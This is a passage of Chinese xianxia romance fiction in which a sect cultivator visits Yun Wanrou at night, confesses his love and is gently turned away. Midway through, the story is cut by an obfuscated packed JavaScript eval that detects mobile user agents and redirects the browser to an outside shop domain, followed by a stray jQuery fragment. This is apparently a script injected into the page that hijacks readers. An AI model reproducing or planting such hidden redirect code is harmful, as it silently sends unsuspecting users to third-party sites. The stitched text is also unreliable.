那是腰带戴上后的第三天夜里。云绾柔刚洗完澡，头发还是湿的，一缕一缕地贴在颈侧和肩头，水珠顺着发尾缓缓滑落，在寝衣的浅色布料上洇开几处深色的圆痕。寝衣的料子很薄，洗得也有些旧了，边缘处微微卷起，像一片被反复折叠过的叶子。
她正准备熄灯躺下，听到门被叩响了。那叩门声不大，却落得很清晰，像石子投入平静的水面，在夜色里带起一阵轻而短的涟漪。她犹豫了一下，还是放下手中的梳子，走到门边，拉开了门。
门外站着一个年轻男子，月光落在他肩头，像是为他披了一层薄薄的水色。他穿一身月白色的道袍，腰侧悬着一块碧色的玉佩，那玉在月光下泛着温润的光，像一枚被夜风轻轻托着的叶片。他的面容俊朗，轮廓被月光照得柔和而清晰，一双眼睛微微低垂着，带着一种不太确定该看向哪里的迟疑。
他抬眼看见她时，目光微微顿了一下，像是被什么东西轻轻绊住了。她的头发还没有干透，湿漉漉地垂在肩侧，有几缕贴在脸颊边缘，衬得她的脸更加苍白而安静。她穿着薄薄的寝衣，衣料在月色下近乎透明，勾勒出她肩线的弧度。她看起来像是刚从水里走出来一样，整个人都带着一层湿润的微光，像是极浅的水面上浮着一层薄薄的月色。
“云姑娘，冒昧来访，还请见谅。”他的声音放得很轻，像怕惊动了什么。
云绾柔看着他的脸，在月光下辨认了一会儿，才在记忆中找到对应的轮廓。“您是……落霞宗的人？”
“楚云飞。”他微微欠身，姿态端正而自然，像是已经习惯在这样的场合说出自己的名字。“之前在筑基大典上见过你，只是没有机会说上话。今晚正好在附近，便想来拜访一下。唐突了。”
云绾柔没有立刻回答。夜风从门外的廊道里吹进来，带着一股淡淡的草木气息，穿过她湿着的发梢，带起一阵细微的凉意。她侧过身，让开门口：“楚前辈请进。”
楚云飞跨过门槛时，在门边停了一瞬，像是被那门槛的高度微微迟疑了一下。他的目光在狭小的洞府中轻轻扫过，像在打量一幅他未曾见过的画。屋内的陈设很简单，一张床榻靠墙放置，被褥叠得齐整，没有被掀开过的痕迹；窗边放着一张小桌，桌上搁着一只空杯和一面铜镜。空气中弥漫着一股淡淡的清香，像某种草木被水浸泡后留下的气息，干净而潮湿。
他在蒲团上坐下，坐姿端正，双手搁在膝上，像一棵被移栽到陌生土壤里的树，正在等待自己适应新的温度。云绾柔在他对面坐下，微微侧身坐着，发梢还在滴水，在衣料表面留下几道颜色略深的纹路。月光从窗棂间漏进来，在地上画出一道长条形的光带，将他们之间的那一段距离照亮了一小片。
他看了她很久，像是那些话还没有找到合适的出口，在喉咙与嘴唇之间反复犹豫，它们在入口处徘徊着，试探着是否应该落地。他的目光落在她垂在肩侧的发丝上，又移到她交叠在膝上的手指上，像是想在那些细微的细节里找到一个可以开始的地方。可他开口时，声音已经比刚才低了一些。“我不知道该怎么说。但我不想骗你。”
他停了一下，像是在等那句话落稳，然后再接下去。“从筑基大典那天看到你的第一眼，我就忘不掉你了。你站在那里，穿着红色的纱裙，风把你的头发吹起来，我看着你，忽然觉得我们之间隔的距离比我想象中还要远得多。那之后我试着不再去想——我试过很多次，可一直做不到。”
他的声音很平稳，没有那种试图打动人的起伏，只是安静地诉说着一个他反复确认过的事实。“我知道你是苏怜幽的弟子，知道你在这边受了很多委屈。我不在乎那些。我想要的是你这个人。”
他站起身，走到她面前，在她身前蹲下。他的手伸出来，极轻地覆在她的手背上。他的手指修长而温热，落在她微凉的指节上，像一片被日光晒过的叶子。“跟我走。离开合欢宗，离开苏怜幽。我会保护你，不让你再受任何委屈。”
云绾柔低下头，看着他的手覆在她手背上的样子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706781|206662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
月光落在他们的交叠处，照出清晰的轮廓。她没有抽回手，也没有回握，只是安静地看了一会儿。然后她开口，声音很轻，像水面上浮起的一丝细微的气泡。“楚前辈，”她说，“您想要的是我，还是您看见的那个人？”
楚云飞没有说话，他的手指微微动了一下，像一片树叶在风里轻轻翻了个身，却没有脱落。“您想要的是我的身体，还是我这个人？”她抬起眼，看向他。“您了解我喜欢什么、讨厌什么、害怕什么吗？您知道我做过的那些梦吗？您知道那些我不敢告诉任何人的事吗？您不知道。您只知道您看见的那层东西。”
她抽出自己的手，动作很轻，像在拆一封已经不需要再读的信。“您只是被那层东西迷惑了。您喜欢的不是我，是您自己想象中的我。”
屋子里安静了很长时间。月光在地面上缓缓移动了一小段距离，窗外的夜风穿过窗棂的缝隙，发出极轻的呜咽。那些话落在两人之间的空地上，像一群安静的蝴蝶，缓缓收拢翅膀。
楚云飞开口时，他的声音带着一丝他试图压住的涩意。“也许你说得对。我不了解你。可我还是忘不掉你。不是因为你说的那些我不了解的东西——是因为我确实看见了你，只是我还没学会该怎么靠近你。”
他站起来，走到她身后，伸手轻轻环住了她。那个动作很轻，像在触碰一件他不知道自己有没有资格触碰的东西。她能感觉到他掌心的温度，正隔着薄薄的寝衣，一点一点地渗进来。“哪怕只是皮囊，”他说，“我也想要。”
她没有挣扎，也没有回应。她只是站在那里，像一片已经被风带到了很远地方的叶子，正缓缓地、无声地落向水面。她闭上眼睛。她想，也许这世上所有的抵达，最终都只是一场温柔的落空。而她正站在那片落空的中央，像是已经被月光洗过很多次。她伸出手指，极轻地碰了碰他环在她腰侧的手背，又像碰触什么不该被惊动的东西一样收了回来。“楚前辈，”她的声音很低，像在说给自己听。“你该走了。”